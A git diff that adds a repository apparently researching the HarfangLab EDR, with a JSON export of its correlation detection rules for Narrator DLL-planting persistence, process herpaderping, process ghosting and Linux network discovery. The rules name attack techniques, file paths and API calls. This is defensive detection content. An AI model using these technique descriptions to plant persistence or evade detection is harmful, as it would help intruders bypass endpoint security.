diff --git a/README.md b/README.md
index 301c492..41298de 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,9 @@
 # harfanglab-research
 
-Research about the EDR HarfangLab.
\ No newline at end of file
+Research about the EDR HarfangLab.
+
+- All edr agent
+- One linux compiled x64 agent for reverse
+- Sigma, Yara, Correlation_rules, driverBlocklist export
+- Documentation export
+- API Swagger
diff --git a/agents.zip b/agents.zip
new file mode 100644
index 0000000..2ab19e9
Binary files /dev/null and b/agents.zip differ
diff --git a/documentation.zip b/documentation.zip
new file mode 100644
index 0000000..42bad6f
Binary files /dev/null and b/documentation.zip differ
diff --git a/harfang_export/correlation_rule_export.json b/harfang_export/correlation_rule_export.json
new file mode 100644
index 0000000..8b0ee5c
--- /dev/null
+++ b/harfang_export/correlation_rule_export.json
@@ -0,0 +1,834 @@
+{
+  "id": "5d144118-7d20-43ae-99b2-4183693b60c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_dependencies": [],
+  "rule_is_depended_on": [],
+  "inner_sigma": [
+    {
+      "id": "35076c6c-23b0-4be8-bcaa-609d1ffabbd1",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Narrator Enabled at Startup",
+      "creation_date": "2025-11-05",
+      "modified_date": "2025-11-05",
+      "description": "Detects the narrator being enabled in registry.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    },
+    {
+      "id": "eea1e78d-a331-437f-930b-3f21dadabd32",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "msttsloc DLL Created",
+      "creation_date": "2025-11-05",
+      "modified_date": "2025-11-05",
+      "description": "Detects `msttslocenus.dll` or `msttsloc_onecoreenus.dll` being written on disk.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "medium",
+      "raw_tags": [],
+      "rule_confidence": "moderate",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    }
+  ],
+  "inner_correlation": [],
+  "inner_rule_counts": {
+    "sigma": 2,
+    "correlation": 0
+  },
+  "rule_type": "correlation",
+  "is_valid": true,
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:27.713402Z",
+  "creation_date": "2026-03-23T11:45:27.713405Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:27.713412Z",
+  "silent": false,
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_narator_dll_planting.yml",
+  "content": "title: msttsloc DLL Created\nname: dll_create_rename\nid: eea1e78d-a331-437f-930b-3f21dadabd32\ndescription: |\n    Detects `msttslocenus.dll` or `msttsloc_onecoreenus.dll` being written on disk.\nreferences:\n    - https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers\ndate: 2025/11/05\nmodified: 2025/11/05\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection_create:\n        Path:\n            - '?:\\windows\\system32\\speech\\engine\\tts\\msttslocenus.dll'\n            - '?:\\windows\\system32\\speech_onecore\\engines\\tts\\msttsloc_onecoreenus.dll'\n        Kind: 'create'\n\n    selection_rename:\n        TargetPath:\n            - '?:\\windows\\system32\\speech\\engine\\tts\\msttslocenus.dll'\n            - '?:\\windows\\system32\\speech_onecore\\engines\\tts\\msttsloc_onecoreenus.dll'\n        Kind: 'rename'\n\n    condition: 1 of selection_*\nlevel: medium\nconfidence: moderate\ngenerate: false\n---\ntitle: Narrator Enabled at Startup\nname: autostart_enabled\nid: 35076c6c-23b0-4be8-bcaa-609d1ffabbd1\ndescription: |\n    Detects the narrator being enabled in registry.\nreferences:\n    - https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers\ndate: 2025/11/05\nmodified: 2025/11/05\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\Accessibility\\Configuration'\n        Details|contains: 'Narrator'\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Persistence Installed via Windows Narrator\nid: 5d144118-7d20-43ae-99b2-4183693b60c6\ndescription: |\n    Detects the installation of a persistence by abusing the Windows built-in Narrator accessibility feature by planting a non-default DLL and enabling it through registry configuration.\n    Narrator automatically loads these DLLs at startup, allowing attackers to execute arbitrary code without user interaction.\n    It is recommended to analyze the written library for malicious content and the behavior of processes to identify any suspicious activity.\nreferences:\n    - https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2025/11/05\nmodified: 2026/01/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\ncorrelation:\n    type: combination\n    platform: windows\n    rules:\n        - dll_create_rename\n        - autostart_enabled\n    timespan: 30s\n    condition: dll_create_rename and autostart_enabled\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "warnings": null,
+  "errors": null,
+  "rule_id": "5d144118-7d20-43ae-99b2-4183693b60c6",
+  "rule_name": "Persistence Installed via Windows Narrator",
+  "rule_description": "Detects the installation of a persistence by abusing the Windows built-in Narrator accessibility feature by planting a non-default DLL and enabling it through registry configuration.\nNarrator automatically loads these DLLs at startup, allowing attackers to execute arbitrary code without user interaction.\nIt is recommended to analyze the written library for malicious content and the behavior of processes to identify any suspicious activity.\n",
+  "rule_creation_date": "2025-11-05",
+  "rule_modified_date": "2026-01-23",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "synchronization_status": "e1942801-4a51-49fb-aa1e-bf854677f6c7",
+  "declared_in": null,
+  "source": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9"
+}
+{
+  "id": "c757bf7f-5276-4be4-b423-b66cc574df33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_dependencies": [],
+  "rule_is_depended_on": [],
+  "inner_sigma": [
+    {
+      "id": "84fc14aa-6be1-4613-bba7-cd4a029e0ac1",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Executable File Written to Disk",
+      "creation_date": "2026-03-17",
+      "modified_date": "2026-03-17",
+      "description": "Detects when an executable file is being written to disk.\nAdversaries may write executable files to disk as part of process herpaderping techniques.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    },
+    {
+      "id": "fa11676c-07f7-42e3-a01e-3880978e7d05",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Process Created via Legacy NT API",
+      "creation_date": "2026-03-17",
+      "modified_date": "2026-03-17",
+      "description": "Detects the creation of a process using legacy NT APIs such as ZwCreateThreadEx.\nAdversaries may use low-level NT APIs to create processes, potentially evading security controls and traditional process monitoring.\nThis technique is commonly used in process herpaderping attacks.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    }
+  ],
+  "inner_correlation": [],
+  "inner_rule_counts": {
+    "sigma": 2,
+    "correlation": 0
+  },
+  "rule_type": "correlation",
+  "is_valid": true,
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:27.714319Z",
+  "creation_date": "2026-03-23T11:45:27.714321Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:27.714325Z",
+  "silent": false,
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://jxy-s.github.io/herpaderping/"
+  ],
+  "name": "t1055_process_herpaderping.yml",
+  "content": "title: Executable File Written to Disk\nname: written_executable\nid: 84fc14aa-6be1-4613-bba7-cd4a029e0ac1\ndescription: |\n    Detects when an executable file is being written to disk.\n    Adversaries may write executable files to disk as part of process herpaderping techniques.\nreferences:\n    - https://jxy-s.github.io/herpaderping/\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        Kind: 'written_executable'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Process Created via Legacy NT API\nname: zwcreatethreadex\nid: fa11676c-07f7-42e3-a01e-3880978e7d05\ndescription: |\n    Detects the creation of a process using legacy NT APIs such as ZwCreateThreadEx.\n    Adversaries may use low-level NT APIs to create processes, potentially evading security controls and traditional process monitoring.\n    This technique is commonly used in process herpaderping attacks.\nreferences:\n    - https://jxy-s.github.io/herpaderping/\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        StackTrace|contains: 'ZwCreateThreadEx'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Process Herpaderping Technique Detected\nid: c757bf7f-5276-4be4-b423-b66cc574df33\ndescription: |\n    Detects the process herpaderping technique through correlation of executable file writing and legacy process creation events.\n    Process herpaderping is an advanced evasion technique where adversaries write a malicious executable to disk, create a process using legacy NT APIs, and then potentially modify the file on disk after it's mapped into memory.\n    The technique involves writing executable files to disk and creating processes with legacy NT APIs like ZwCreateThreadEx to evade traditional security controls.\n    This allows the process to run with different content than what is actually stored on disk, making detection and analysis more difficult.\n    This correlation rule identifies the sequence of operations characteristic of process herpaderping attacks.\n    It is recommended to analyze both the process responsible for the herpaderping operation and the created process for malicious content and activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\n    - https://jxy-s.github.io/herpaderping/\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.t1055.012\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\ncorrelation:\n    type: combination\n    platform: windows\n    rules:\n        - written_executable\n        - zwcreatethreadex\n    group-by:\n        - processes\n    processes:\n        InjectorProcess:\n            written_executable: initiator\n            zwcreatethreadex: created.parent\n    related-process: InjectorProcess\n    timespan: 2s\n    condition: zwcreatethreadex and written_executable\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "warnings": null,
+  "errors": null,
+  "rule_id": "c757bf7f-5276-4be4-b423-b66cc574df33",
+  "rule_name": "Process Herpaderping Technique Detected",
+  "rule_description": "Detects the process herpaderping technique through correlation of executable file writing and legacy process creation events.\nProcess herpaderping is an advanced evasion technique where adversaries write a malicious executable to disk, create a process using legacy NT APIs, and then potentially modify the file on disk after it's mapped into memory.\nThe technique involves writing executable files to disk and creating processes with legacy NT APIs like ZwCreateThreadEx to evade traditional security controls.\nThis allows the process to run with different content than what is actually stored on disk, making detection and analysis more difficult.\nThis correlation rule identifies the sequence of operations characteristic of process herpaderping attacks.\nIt is recommended to analyze both the process responsible for the herpaderping operation and the created process for malicious content and activities.\n",
+  "rule_creation_date": "2026-03-17",
+  "rule_modified_date": "2026-03-17",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1055.012"
+  ],
+  "synchronization_status": "e1942801-4a51-49fb-aa1e-bf854677f6c7",
+  "declared_in": null,
+  "source": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9"
+}
+{
+  "id": "c885cbdc-4171-4e47-8a8e-ab75e8ef2393",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_dependencies": [],
+  "rule_is_depended_on": [],
+  "inner_sigma": [
+    {
+      "id": "63b8bd32-635b-4502-9608-767c742d73da",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Process Created via Legacy NT API",
+      "creation_date": "2026-03-17",
+      "modified_date": "2026-03-17",
+      "description": "Detects the creation of a process using legacy NT APIs such as ZwCreateThreadEx.\nAdversaries may exploit the low level NtCreateProcessEx API, which allows them to supply a section object directly (instead of using the newer NtCreateUserProcess API). \nThis capability enables them to manipulate the temporary file that is mapped to that section.\nThis technique is commonly used in process ghosting attacks.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    },
+    {
+      "id": "abd72622-1ac0-4b98-bf2d-99ae74a46dc9",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "File Created",
+      "creation_date": "2026-03-17",
+      "modified_date": "2026-03-17",
+      "description": "Detects the creation of a file that may be used in process ghosting attacks.\nAdversaries may create temporary executable files as part of process ghosting techniques.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    },
+    {
+      "id": "f3dbc60e-b65f-41d6-bdf0-dbff684ef2ce",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "File Removed via NtSetInformationFile",
+      "creation_date": "2026-03-17",
+      "modified_date": "2026-03-17",
+      "description": "Detects the removal of a file through the use of the NtSetInformationFile API.\nAdversaries may remove files to cover their tracks after process ghosting operations.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    }
+  ],
+  "inner_correlation": [
+    {
+      "id": "c805dbdc-4197-4e47-8a8e-ab73f7dc1795",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "File Created then Removed via NtSetInformationFile",
+      "creation_date": "2026-03-17",
+      "modified_date": "2026-03-17",
+      "description": "Detects the sequential creation and removal of a file using the NtSetInformationFile API.\nThis pattern is commonly observed in process ghosting techniques where adversaries create temporary files and then remove them to avoid detection.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null
+    }
+  ],
+  "inner_rule_counts": {
+    "sigma": 3,
+    "correlation": 1
+  },
+  "rule_type": "correlation",
+  "is_valid": true,
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:27.714282Z",
+  "creation_date": "2026-03-23T11:45:27.714290Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:27.714295Z",
+  "silent": false,
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_process_ghosting.yml",
+  "content": "title: File Created\nname: filecreation\nid: abd72622-1ac0-4b98-bf2d-99ae74a46dc9\ndescription: |\n    Detects the creation of a file that may be used in process ghosting attacks.\n    Adversaries may create temporary executable files as part of process ghosting techniques.\nreferences: []\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        Kind: 'create'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: File Removed via NtSetInformationFile\nname: fileremoval\nid: f3dbc60e-b65f-41d6-bdf0-dbff684ef2ce\ndescription: |\n    Detects the removal of a file through the use of the NtSetInformationFile API.\n    Adversaries may remove files to cover their tracks after process ghosting operations.\nreferences:\n    - https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        Kind: 'remove'\n        StackTrace|contains: 'ZwSetInformationFile'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: File Created then Removed via NtSetInformationFile\nname: create_then_remove\nid: c805dbdc-4197-4e47-8a8e-ab73f7dc1795\ndescription: |\n    Detects the sequential creation and removal of a file using the NtSetInformationFile API.\n    This pattern is commonly observed in process ghosting techniques where adversaries create temporary files and then remove them to avoid detection.\nreferences:\n    - https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags: []\ncorrelation:\n    type: combination\n    platform: windows\n    rules:\n        - filecreation\n        - fileremoval\n    group-by:\n        - processes\n        - Path\n    processes:\n        InjectorProcess: initiator\n    related-process: InjectorProcess\n    timespan: 2s\n    condition: filecreation then fileremoval\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Process Created via Legacy NT API\nname: zwcreatethreadex\nid: 63b8bd32-635b-4502-9608-767c742d73da\ndescription: |\n    Detects the creation of a process using legacy NT APIs such as ZwCreateThreadEx.\n    Adversaries may exploit the low level NtCreateProcessEx API, which allows them to supply a section object directly (instead of using the newer NtCreateUserProcess API). \n    This capability enables them to manipulate the temporary file that is mapped to that section.\n    This technique is commonly used in process ghosting attacks.\nreferences:\n    - https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags: []\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        StackTrace|contains: 'ZwCreateThreadEx'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Process Ghosting Technique Detected\nid: c885cbdc-4171-4e47-8a8e-ab75e8ef2393\ndescription: |\n    Detects the process ghosting technique through correlation of file manipulation and legacy process creation events.\n    Process ghosting is an advanced evasion technique where adversaries create a file, map it into memory, mark it for deletion, create a process from the mapped memory, and then remove the file.\n    The technique involves creating and removing files using NT APIs and creating processes with legacy NT APIs like ZwCreateThreadEx.\n    This allows the process to run without having a corresponding file on disk, making detection and analysis more difficult.\n    This correlation rule identifies the sequence of operations characteristic of process ghosting attacks.\n    It is recommended to analyze both the process responsible for the ghosting operation and the ghosted process for malicious content and activities.\nreferences:\n    - https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2026/03/17\nmodified: 2026/03/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.t1055.012\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\ncorrelation:\n    type: combination\n    platform: windows\n    rules:\n        - zwcreatethreadex\n        - create_then_remove\n    group-by:\n        - processes\n    processes:\n        InjectorProcess:\n            create_then_remove: InjectorProcess\n            zwcreatethreadex: created.parent\n    related-process: InjectorProcess\n    timespan: 2s\n    condition: create_then_remove then zwcreatethreadex\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "warnings": null,
+  "errors": null,
+  "rule_id": "c885cbdc-4171-4e47-8a8e-ab75e8ef2393",
+  "rule_name": "Process Ghosting Technique Detected",
+  "rule_description": "Detects the process ghosting technique through correlation of file manipulation and legacy process creation events.\nProcess ghosting is an advanced evasion technique where adversaries create a file, map it into memory, mark it for deletion, create a process from the mapped memory, and then remove the file.\nThe technique involves creating and removing files using NT APIs and creating processes with legacy NT APIs like ZwCreateThreadEx.\nThis allows the process to run without having a corresponding file on disk, making detection and analysis more difficult.\nThis correlation rule identifies the sequence of operations characteristic of process ghosting attacks.\nIt is recommended to analyze both the process responsible for the ghosting operation and the ghosted process for malicious content and activities.\n",
+  "rule_creation_date": "2026-03-17",
+  "rule_modified_date": "2026-03-17",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1055.012"
+  ],
+  "synchronization_status": "e1942801-4a51-49fb-aa1e-bf854677f6c7",
+  "declared_in": null,
+  "source": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9"
+}
+{
+  "id": "e595008e-d87c-4a1b-a72c-3f9c72d68aca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_dependencies": [],
+  "rule_is_depended_on": [],
+  "inner_sigma": [
+    {
+      "id": "7072ca36-890c-4c57-977e-c4d4f6ee9fd5",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Netstat Executed",
+      "creation_date": "2025-10-20",
+      "modified_date": "2026-01-21",
+      "description": "Detects the execution of the 'netstat' or 'ss' command on a Linux system, which is commonly used to display network connections, routing tables, and network interface statistics.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "linux",
+      "can_block": true
+    },
+    {
+      "id": "ba4e984f-a924-436e-ac4d-0022fa899737",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Who Executed",
+      "creation_date": "2025-10-20",
+      "modified_date": "2026-01-21",
+      "description": "Detects the execution of the 'who -a' command on a Linux system, which provides detailed information about all logged-in users, their login times, and system status.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "linux",
+      "can_block": true
+    }
+  ],
+  "inner_correlation": [],
+  "inner_rule_counts": {
+    "sigma": 2,
+    "correlation": 0
+  },
+  "rule_type": "correlation",
+  "is_valid": true,
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:27.713529Z",
+  "creation_date": "2026-03-23T11:45:27.713532Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:27.713540Z",
+  "silent": false,
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/software/S0104/"
+  ],
+  "name": "t1049_system_network_connections_discovered_linux.yml",
+  "content": "title: Netstat Executed\nname: cmd_netstat\nid: 7072ca36-890c-4c57-977e-c4d4f6ee9fd5\ndescription: |\n    Detects the execution of the 'netstat' or 'ss' command on a Linux system, which is commonly used to display network connections, routing tables, and network interface statistics.\nreferences:\n    - https://man7.org/linux/man-pages/man8/netstat.8.html\n    - https://man7.org/linux/man-pages/man8/ss.8.html\n    - https://attack.mitre.org/software/S0104/\ndate: 2025/10/20\nmodified: 2026/01/21\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine:\n            - 'netstat'\n            - 'ss'\n\n    exclusion_bladelogic:\n        ProcessGrandparentImage:\n            - '/opt/bmc/bladelogic/RSCD/bin/rscd_full'\n            - '/opt/bladelogic/*/NSH/bin/rscd_full'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Who Executed\nname: cmd_who\nid: ba4e984f-a924-436e-ac4d-0022fa899737\ndescription: |\n    Detects the execution of the 'who -a' command on a Linux system, which provides detailed information about all logged-in users, their login times, and system status.\nreferences:\n    - https://man7.org/linux/man-pages/man1/who.1.html\ndate: 2025/10/20\nmodified: 2026/01/21\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine: 'who -a'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: System Network Connections Discovered (Linux)\nid: e595008e-d87c-4a1b-a72c-3f9c72d68aca\ndescription: |\n    Detects the execution of commands to retrieve information about network connections.\n    Attackers may use it during the discovery phase to display information about the system.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/software/S0104/\ndate: 2025/10/20\nmodified: 2026/01/21\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.t1033\n    - attack.s0104\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\ncorrelation:\n    type: combination\n    platform: linux\n    rules:\n        - cmd_netstat\n        - cmd_who\n    group-by:\n        - processes\n    processes:\n        